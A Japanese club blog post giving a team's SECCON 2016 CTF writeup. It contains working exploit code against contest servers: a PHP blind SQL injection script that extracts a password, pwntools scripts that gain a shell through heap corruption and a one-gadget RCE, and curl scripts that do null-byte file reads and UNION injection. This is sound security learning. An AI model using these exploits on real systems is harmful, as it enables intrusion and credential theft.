traP Member's Blog

SECCON 2016 Online CTF に出ました (+ writeup)

kaz
このエントリーをはてなブックマークに追加

SECCON 2016 Online CTF に チームNaruseJun で出てました。

メンバーは成瀬順が9人くらいです。

結果は1400ptsで56thでした。
うーん、精進しなくては、ですね。

このブログ、なんかアドベントカレンダー企画をやってて記事の流れるスピードが尋常じゃないんですが、気にせず投下します。

冬コミの宣伝

今年の冬コミ(C91)に技術系の合同誌を出します。
私は今回のCTFも頻出であったSQLインジェクションについていろいろ書いてます。
他にもチームNaruseJunのメンバーが強い記事を書いてくれる!予定です。

よかったら是非お越しください。

「揚羽高校情報処理部」
木曜日(1日目) 西地区“み”ブロック-18b

Writeup

以下はwriteupです。

Vigenere (Crypto 100)

担当: nari

文字種類A~Zと{}で28種、キー長12で途中まで解読されてるVigenere暗号が渡される

とりあえず解読されてる最初の7文字に合わせてキーを作ると”VIGENER”になるので、どう考えてもキーは”VIGENERE****”になると推測。

後は残り4文字を全探索して、与えられたplaintextのmd5と一致するかをチェックすればOK。

 

VoIP (Forensics 100)

担当: みんな

Wiresharkに食わせれば聞ける(電話→VoIP通話)
みんなで頑張って聞き取りました。

 

Memory Analysis (Forensics 100)

担当: long_long_float

$ ~/volatility_2.5.linux.standalone/volatility_2.5_linux_x64 -f forensic_100.raw connections
Volatility Foundation Volatility Framework 2.5
Offset(V)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ---
0x8213bbe8 192.168.88.131:1034       153.127.200.178:80        1080

$ strings forensic_100.raw | grep -n10 153.127.200.178
781371-# sp
781372-the corresponding host name.
781373-# The IP address and the host name should be separated by at least one
781374-# space.
781375-# Additionally, comments (such as these) may be inserted on individual
781376-# lines or following the machine name denoted by a '#' symbol.
781377-# For example:
781378-#      102.54.94.97     rhino.acme.com          # source server
781379-#       38.25.63.10     x.acme.com              # x client host
781380-127.0.0.1       localhost
781381:153.127.200.178    crattack.tistory.com attack.tistory.com 
781382-Gla5
781383-SrSC|
781384-20yk
781385-ObSq
781386-P3SITESP
781387-ObSc
781388-Gla5
781389-ObSq(
781390-Gxlt(
781391-SeAc

...

$ strings forensic_100.raw | grep crattack.tistory.com
Visited: SYSTEM@http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd

...

$ curl http://153.127.200.178/entry/Data-Science-import-pandas-as-pd

crattack.tistory.comがhostsファイルによって153.127.200.178に書き換えられているので書き換え先のアドレスでアクセスしてやるとフラグが得られる。

 

Cheer_msg (Exploit 100)

担当: kriw

メッセージ長(main) -> メッセージ(message) -> 名前(message)
(括弧内は関数名)
の順に入力をする。

$ ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages 🙂

Message Length >> 10
Message >> Hello!

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> kriw

Thank you kriw!
Message : Hello!

こんな感じ。

バイナリを眺めてみると、プログラム内部ではメッセージ長を受け取った後その分だけespを引き算していた。

メッセージ長は負の数でもokで、espの値を自由に書き換えることができる。

message関数に処理が移動すると先ほどのespがebpになり、ローカル変数はebpの相対アドレスになっている。
また、Nameはこのローカル変数として保存されているので任意アドレスを書き換えられる。

python -c 'print "-128\n" + "A"*16 + "ADDR" + "A"*4 + "ARG"'

を与えてやるとADDRにある関数を引数ARGで呼び出すことができる。
競技中はアドレスが特定できなかったのでbrute force attackでシェルを起動させた。

 

Anti-Debugging (Binary 100)

担当: ponya

問題はPEx86のバイナリファイル。
最初のパスワード入力はI have a pen.と入力すればパスでき、その後はとくに必要なものが出力されることなく終了する。
早速デバッガを走らせてみると、色々とデバッガのチェックがあり、どれかに引っかかるとフラグを生成する処理まで行かない。高度なアンチデバッグをやっているのかとも思ったが、どうやらif文でチェックしているだけみたいなので、パスの入力が終わったところからフラグを生成しているらしき箇所にデバッガを使って処理を飛ばせばメモリ上にフラグがある。

 

basiq (Web 100)

担当: kaz

競馬(?)のwebサイトです。
ログインと登録ができるようだったので、SQLインジェクションを仕掛けてみたけどダメでした。

ページ内で用いられているJavaScriptのコードを読んでみると、
adminとしてログインしたときメニューに/admin/というページへのリンクが追加される処理がありました。

var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
if(loginuser == 'admin'){
	links.push({label:'Admin', href:'/admin/'});
}

ということで、このページを見に行ってみると、BASIC認証で保護されいるようでした。
ここでもSQLインジェクションを試してみると、今度はうまくいきました。

あとはブラインドSQLインジェクションでパスワードを抜きます。

<?php // ログインを試行する function login($pass){ // POSTリクエストを送信準備 $h = curl_init("http://admin:{$pass}@basiq.pwn.seccon.jp/admin/"); curl_setopt_array($h, [CURLOPT_RETURNTRANSFER => true]);
		
		// POSTリクエストを送信しレスポンス取得
		$resp = curl_exec($h);
		
		// ログインに成功していたらtrue, 失敗していたらfalseを返す
		return strpos($resp, "Unauthorized") === false;
	}
	
	// なんか'12345'みたいなパスワードを持つadminも登録されてる><
	$pass = "SECCON{";
	
	// パスワード長の特定
	for($len = 1; ; $len++){
		if(login("' OR name = 'admin' AND pass LIKE BINARY '{$pass}%' AND LENGTH(pass) = {$len} #")){
			break;
		}
	}
	echo("Password length: {$len}\n");
	
	// パスワードの特定
	for($i = 0; strlen($pass) < $len; $i++){ for($ch = 126; $ch >= 32; $ch--){
			// % と _ と ' はエスケープしなければならない!
			$try = $pass . chr($ch);
			$try = str_replace(["%", "_", "'"], ["\\%", "\\_", "''"], $try);
			
			if(login("' OR name = 'admin' AND pass LIKE BINARY '{$try}%' #")){
				break;
			}
		}
		$pass .= chr($ch);
		echo("Hit: {$pass}\n");
	}
	echo("Password: {$pass}\n");
?>

なんかnameが非ユニークなカラムらしくて、偽物のパスワードを持ったadminアカウントが複数存在してて手こずりました。

 

jmper (Exploit 300)

担当: kriw, ponya, kaz

デコンパイルしてみたら大体こんな感じ。(少し間違えているところがある。)

void* my_class;
void* jmpbuf;
int student_num;

void f(){
	student_num = 0;
	int choice;	//rbp - 0x18
	void* n;	//rbp - 0x8
	int id;		//rbp - 0x1c
	char* v4;	//rbp - 0x10
	int v5;		//rbp - 0x14
	int v6;		//rbp - 0x1d
	while(1){
		puts("1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)");
		scanf("%d", &choice);
		switch (choice){
		case 1:
			if(student_num > 30){
				puts("Exception has occurred. Jump!\n");
				longjmp(jmpbuf, 0x1bf52);
			}
			n = malloc(0x30); //48
			*((int*)n) = student_num;
			*((void**)(n + 0x28)) = malloc(0x20); //32
			*((void**)(my_class + student_num * 8)) = n;
			student_num++;
		break;
		case 2:
			printf("%s","ID:");
			scanf("%d", &id);
			getchar();
			if(id >= student_num || id < 0){
				puts("Invalid ID.\n");
				exit(1);
			}
			printf("%s","Input name:");
			v4 = *((void**)(*((void**)(my_class + id * 8)) + 0x28));
			v5 = 0;
			for(; v5 <= 0x20; v4++, v5++){ v6 = getchar(); if(v6 == 0xa){ break; } *v4 = v6; } break; case 3: printf("%s","ID:"); scanf("%d", &id); getchar(); if(id >= student_num || id < 0){
				puts("Invalid ID.\n");
				exit(1);
			}
			printf("%s", "Input memo:");
			v4 = *((void**)(my_class + id * 8)) + 0x8;
			v5 = 0;
			for(; v5 <= 0x20; v4++, v5++){ v6 = getchar(); if(v6 == 0xa){ break; } *v4 = v6; } break; case 4: printf("%s","ID:"); scanf("%d", &id); getchar(); if(id >= student_num || id < 0){ puts("Invalid ID.\n"); exit(1); } printf("%s", *((void **)(*((void **)(my_class + id * 8)) + 0x28))); break; case 5: printf("%s","ID:"); scanf("%d", &id); getchar(); if(id >= student_num || id < 0){
				puts("Invalid ID.\n");
				exit(1);
			}
			printf("%s", *((void **)(my_class + id * 8)) + 0x8);
		break;
		default:
			exit(1);
		}
	}
}
int main(){
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	puts("Welcome to my class.");
	puts("My class is up to 30 people :)");
	my_class = malloc(0xf0); //240
	jmpbuf = malloc(0xc8); //200
	int v1 = setjmp(jmpbuf);
	if(v1 == 0){
		f();
	}else{
		puts("Nice jump! Bye :)");
	}
	return 0;
}

見つかった脆弱性としてはStudentのMemoを書き換えるとき、
対応するStudentのNameを指すアドレスの下位1バイトを書き換えることができること。(Off-by-oneエラー)

ここをいじると任意アドレスに書き込みが可能。

  1. student[0]のNameの下位1バイトを書き換えてstudent[1]のNameポインタの場所を指すようにする
    • ヒープ領域の近い場所にあるので可能
  2. student[0]のNameに適当なアドレスを書き込み、student[1]のNameを読み書きすることで任意の場所を読み書きできる
  3. jmpbufからstackのアドレスをリーク

しかし、それ以上は進展せずタイムアップになりました?。
あと24時間あればイケた。

終了後に解いた

  1. stackからlibc_start_mainのアドレスを拾ってlibcベースを計算
  2. mainの戻り先アドレスをlibc中のOne-gadget-RCEにする
  3. One-gadget-RCEが発火するようにスタックの状態とかを調整
  4. Studentを30人以上にしてlongjmpさせてmainをretさせる
from pwn import *

'''
p = process("./jmper")
offset_start_main = 0x201a0 + 241
offset_gadget_rce = 0xd67e5
offset_environ = 0x39af18
'''
p = remote("jmper.pwn.seccon.jp", 5656)
offset_start_main = 0x21e50 + 245
offset_gadget_rce = 0xe5765
offset_environ = 0x3c14a0
#'''

for _ in range(30):
	p.recvuntil(":)")
	p.sendline("1") # add student

p.recvuntil(":)")
p.sendline("3") # write memo
p.sendline("0") # -> select id
p.sendline("!"*30 + "@@" + "\x78") # -> write

p.recvuntil(":)")
p.sendline("5") # show memo
p.sendline("0") # -> select id
p.recvuntil("@@")
addr_heap = unpack(p.recv(4), 4 * 8)
log.indented("heap: %x", addr_heap)

addr_stack_ptr = addr_heap - (0x278 - 0x128)
log.indented("stack ptr: %x", addr_stack_ptr)

p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("0") # -> select id
p.sendline(p32(addr_stack_ptr)) # -> name

p.recvuntil(":)")
p.sendline("4") # show name
p.sendline("1") # -> select id
p.recvuntil("ID:")
addr_stack = unpack(p.recv(6), 6 * 8)
log.indented("stack: %x", addr_stack)

p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("0") # -> select id
p.sendline(p64(addr_stack - 0xd8)) # -> name

p.recvuntil(":)")
p.sendline("4") # show name
p.sendline("1") # -> select id
p.recvuntil("ID:")
addr_libc = unpack(p.recv(6), 6 * 8) - offset_start_main
log.indented("libc: %x", addr_libc)

p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("1") # -> select id
p.sendline(p64(addr_libc + offset_gadget_rce)) # -> name

p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("0") # -> select id
p.sendline(p64(addr_libc + offset_environ)) # -> name

p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("1") # -> select id
p.sendline(p64(0)) # -> name

p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("0") # -> select id
p.sendline(p64(addr_stack - 0x80)) # -> name

p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("1") # -> select id
p.sendline(p64(0)) # -> name

p.recvuntil(":)")
p.sendline("1") # add student (cause exception)

p.interactive()

PNG over Telegraph (Crypto 300)

担当: phi16, nari, to-hutohu, long_long_float, ninja

Telegraphってなんじゃ、ってことで調べると これ が引っかかる。
これに従って先頭100字くらいを自分で解読してみると

RFIE4RYNBINAUAAAAAGUSSCEKIAAAAW2AAAAFWQBAMAAAABVEBTFAAAAAADFATCUIUAAAAH77772LWM73UAAAAACORJE4U7777EL

になる。文字種が32個、Aが連続することが多いので0だとあたりをつけてA-Zの順番に5bitを割り当てていくと

R    F    I    E    4    R
10001001010100000100     10001
1000100101010000010011100100
8   9   5   0   4   E   4

とPNGのヘッダーに一致する。これで411100、結局A-Z2-7の順番に並んでいることがわかった。

あとは動画から文字を読み出すだけである。

しかしこれが問題で、普通のリアルの動画なので微妙にカメラのズレや光の差などがあるのと、1秒ごとにフレームを切り出しても後半は微妙にブレるという大きな問題にぶち当たる。
オフセットに0.3秒を指定してフレーム切り出しをするとブレは解消されたものの、本質的な問題は変わってない。

そこで人力を使う。

・・・というか、機械でやるのを諦めて私(phi16)が手で500字くらい解読していた頃に他の人達も参加してくれた。残り2時間。
いっぱい判定したおかげでコードは記憶できたもののさすがにその他のオーバーヘッドで時間がとられる。
最後5分くらいに段々みんなの答えが集まり始める。とりあえず試しにと思って未だわからない部分をAで埋めて自作デコーダに投げる。

すべておしまい。時間切れで完全敗北。

 

Backpacker’s Capricious Cipher (Crypto 200)

担当: nari

sumをpub_key[0]、pubをpub_key[1]とする。
またx[i]をencrypt中の最初の乱数、y[i]を2つ目の乱数、z[i]を3つ目の乱数を、それぞれループイテレータに関して保存した配列とする。

enc[[]] = message - sum*Σ(y[i])
enc[[a]] = -sum*x[a] + pub[a]*Σ(y[i]) - z[a]
enc[[a,a]] = pub[a]*x[a] + z[a]
enc[[a,b]] = pub[a]*x[b] + pub[b]*x[a]

であることが分かる。enc[[0,1]],enc[[0,2]],enc[[1,2]]の情報からx[0],x[1],x[2]の情報が手に入るので、それを利用してxを求める。

次にenc[[a,a]]の情報からzを求める。

最後にenc[[0]]からΣ(y[i])が求められれば、enc[[]]からmessageが復元できる。

 

uncomfortable web (Web 300)

担当: kaz

スクリプトをアップロードするとサーバ側で実行してくれるので、
これを利用して閉ざされたネットワーク内にいるサーバに攻撃します。

流れとしてはこんなかんじでした。
shスクリプトでcurl叩くだけでイケました。

  1. 攻撃しろっていわれてる/authed/はBASIC認証で保護されているので見れない
  2. なんかsecret.cgiってファイルが置いてあるのが見える(全然secretじゃないけど)
  3. secret.cgiにアクセスすると、パラメータtxtを渡せるようになってる
  4. ファイル内に書いてあるパラメータtxt=aで試すと、どうやらauthed/{$txt}.txtを読んでいるらしい
  5. ならばということで、NULLバイトを仕組んでtxt=.htpasswd%00としてauthed/.htpasswdを読む
  6. John the Ripperでパスワードを特定する
  7. /authed/sqlinj/というディレクトリが読めて、中には100個のCGIが置いてある
  8. ディレクトリ名からSQLインジェクションっぽさがあるので、全CGIに対して試行する
  9. 72.cgiでSQLインジェクションが成功してる
  10. UNIONで内部データベース読めるかなーって試したらsqlite_masterが存在した
  11. UNIONsqlite_masterからデータベース情報を抜く
  12. f1agsってテーブルがあることが分かるので、UNIONでf1agを抜く
#!/bin/sh
curl --silent http://127.0.0.1:81/

#!/bin/sh
curl --silent http://127.0.0.1:81/authed/
curl --silent http://127.0.0.1:81/select.cgi

#!/bin/sh
curl --silent http://127.0.0.1:81/select.cgi?txt=a
curl --silent http://127.0.0.1:81/select.cgi?txt=b

#!/bin/sh
curl --silent http://127.0.0.1:81/select.cgi?txt=.htpasswd%00

# John the ripperでパスを特定します

#!/bin/sh
curl --silent http://keigo:test@127.0.0.1:81/authed/

#!/bin/sh
curl --silent http://keigo:test@127.0.0.1:81/authed/sqlinj/

#!/bin/sh
curl --silent http://keigo:test@127.0.0.1:81/authed/sqlinj/1.cgi

#!/bin/sh
curl --silent http://keigo:test@127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938

#!/bin/sh
curl --silent --data-urlencode "no=' OR 1 -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/{1..100}.cgi

#!/bin/sh
curl --silent --data-urlencode "no=' UNION SELECT 1,1,1 -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi

#!/bin/sh
curl --silent --data-urlencode "no=' UNION SELECT 1,1,1 FROM sqlite_master -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi

#!/bin/sh
curl --silent --data-urlencode "no=' UNION SELECT sql,1,1 FROM sqlite_master -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi

#!/bin/sh
curl --silent --data-urlencode "no=' UNION SELECT f1ag,1,1 FROM f1ags -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi

↑ のスクリプトを走らせた結果はこんなかんじ
http://pastebin.com/bFXAVkYx

 

Checker (Exploit 300)

担当: kaz

深夜、みんな寝てしまったのでひとりでデコンパイルした。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char name[128];
char flag[128] = "SECCON{*****}"; // ←ホントはread_flagって関数があってそこで読み込んでる

int getaline(char* buf /* rbp-0x18 */){
	/* int stack_canary = *(fs:0x28); */

	char c = 0xff; /* rbp-0xd */
	int i = 0; /* rbp-0xc */
	
	for(; c != '\0'; i++){
		if(read(0, &c, 1) == 0){
			break;
		}
		if(c == '\n' /* 0xa */){
			c = '\0';
		}
		buf[i] = c;
	}
	
	/*
	if(stack_canary != *(fs:0x28)){
		__stack_chk_fail();
	}
	*/
	
	return i;
}

int main(){
	/* long stack_canary = *(fs:0x28); */
	char buf[0x88]; /* rbp-0x90 */
	
	dprintf(1, "Hello! What is your name?\nNAME : ");
	getaline(name);
	
	do{
		dprintf(1, "\nDo you know flag?\n>> ");
		getaline(buf);
	}while(strcmp(buf, "yes") != 0);
	
	dprintf(1, "\nOh, Really??\nPlease tell me the flag!\nFLAG : ");
	getaline(buf);
	if(buf[0] == 0){
		dprintf(1, "Why won't you tell me that???\n");
		exit(0);
	}
	
	if(strcmp(flag, buf) == 0){
		dprintf(1, "Thank you, %s!!\n", name);
	}else{
		dprintf(1, "You are a liar...\n", name);
	}
	
	/*
	if(stack_canary != *(fs:0x28)){
		__stack_chk_fail();
	}
	*/
	
	return 0;
}

getaline()\0\nが来るまで読み込み続けるのでふつうにBOFします。
でもStackCanaryがいるので悪いことしようとすると死にます。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

さてどうしようってトコロなんですけど、
katagaitaiさんの勉強会資料で読んだargv[0]リークを思い出したのでやってみたらイケました。

argv[0]リークの解説は省略
(↓ katagaitaiさんの勉強会資料)

katagaitai CTF勉強会 #4 pwnables編 – CodeGate 2015 Pwnable400 beef_steak from bata_24
from pwn import *
#p = process("./checker")
p = remote("checker.pwn.seccon.jp", 14726)
p.sendline("narusejun")
p.sendline("#" * 381)
p.sendline("#" * 380)
p.sendline("#" * 376 + "\xc0\x10\x60")
p.sendline("yes")
p.sendline("flag")
print p.recvall()

\0以降は読んでくれないので、\n\0として格納されることを利用して、
数回に分けて上位のビットを0埋めしています。
その後.bssにあるflagのアドレスを書き込んでいます。

本当はもっと難しかったらしいです。
http://shift-crops.hatenablog.com/#checker-Exploit200-300

このエントリーをはてなブックマークに追加

コメントを残す

メールアドレスが公開されることはありません。